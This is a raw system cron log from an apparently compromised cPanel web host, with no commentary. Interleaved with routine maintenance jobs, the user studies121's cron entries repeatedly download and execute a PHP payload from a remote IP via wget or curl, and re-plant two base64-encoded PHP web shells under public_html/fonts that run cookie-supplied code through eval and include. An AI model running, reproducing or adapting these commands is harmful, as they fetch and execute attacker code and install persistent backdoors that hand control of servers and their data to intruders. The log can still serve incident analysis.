Sep 22 15:08:01 ip-184-168-122-23 CROND[5761]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:08:01 ip-184-168-122-23 CROND[5766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:08:01 ip-184-168-122-23 CROND[5764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:08:01 ip-184-168-122-23 CROND[5763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:09:01 ip-184-168-122-23 CROND[5880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:09:01 ip-184-168-122-23 CROND[5878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:09:01 ip-184-168-122-23 CROND[5879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:09:01 ip-184-168-122-23 CROND[5881]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 15:09:01 ip-184-168-122-23 CROND[5883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:10:01 ip-184-168-122-23 CROND[6001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:10:01 ip-184-168-122-23 CROND[6004]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:10:01 ip-184-168-122-23 CROND[6007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 15:10:01 ip-184-168-122-23 CROND[6008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:10:01 ip-184-168-122-23 CROND[6011]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 15:10:01 ip-184-168-122-23 CROND[6009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:10:01 ip-184-168-122-23 CROND[6012]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 15:10:01 ip-184-168-122-23 CROND[6006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:11:01 ip-184-168-122-23 CROND[6117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:11:01 ip-184-168-122-23 CROND[6120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:11:01 ip-184-168-122-23 CROND[6119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:11:01 ip-184-168-122-23 CROND[6123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:12:01 ip-184-168-122-23 CROND[6236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:12:01 ip-184-168-122-23 CROND[6237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:12:01 ip-184-168-122-23 CROND[6238]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:12:01 ip-184-168-122-23 CROND[6241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:12:01 ip-184-168-122-23 CROND[6242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:13:01 ip-184-168-122-23 CROND[6483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:13:01 ip-184-168-122-23 CROND[6485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:13:01 ip-184-168-122-23 CROND[6484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:13:01 ip-184-168-122-23 CROND[6487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:14:01 ip-184-168-122-23 CROND[6627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:14:01 ip-184-168-122-23 CROND[6623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:14:01 ip-184-168-122-23 CROND[6626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:14:01 ip-184-168-122-23 CROND[6625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:14:01 ip-184-168-122-23 CROND[6624]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:15:01 ip-184-168-122-23 CROND[7382]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 15:15:01 ip-184-168-122-23 CROND[7384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:15:01 ip-184-168-122-23 CROND[7386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:15:01 ip-184-168-122-23 CROND[7388]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 15:15:01 ip-184-168-122-23 CROND[7387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:15:01 ip-184-168-122-23 CROND[7389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:16:01 ip-184-168-122-23 CROND[8766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:16:01 ip-184-168-122-23 CROND[8770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:16:01 ip-184-168-122-23 CROND[8771]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 15:16:01 ip-184-168-122-23 CROND[8769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:16:01 ip-184-168-122-23 CROND[8768]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:16:01 ip-184-168-122-23 CROND[8772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:17:01 ip-184-168-122-23 CROND[9980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:17:01 ip-184-168-122-23 CROND[9981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:17:01 ip-184-168-122-23 CROND[9982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:17:01 ip-184-168-122-23 CROND[9979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:18:02 ip-184-168-122-23 CROND[11130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:18:02 ip-184-168-122-23 CROND[11133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:18:02 ip-184-168-122-23 CROND[11132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:18:02 ip-184-168-122-23 CROND[11136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:18:02 ip-184-168-122-23 CROND[11134]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:19:01 ip-184-168-122-23 CROND[11884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:19:01 ip-184-168-122-23 CROND[11886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:19:01 ip-184-168-122-23 CROND[11887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:19:01 ip-184-168-122-23 CROND[11888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:20:01 ip-184-168-122-23 CROND[12686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:20:01 ip-184-168-122-23 CROND[12688]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 15:20:01 ip-184-168-122-23 CROND[12689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:20:01 ip-184-168-122-23 CROND[12694]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
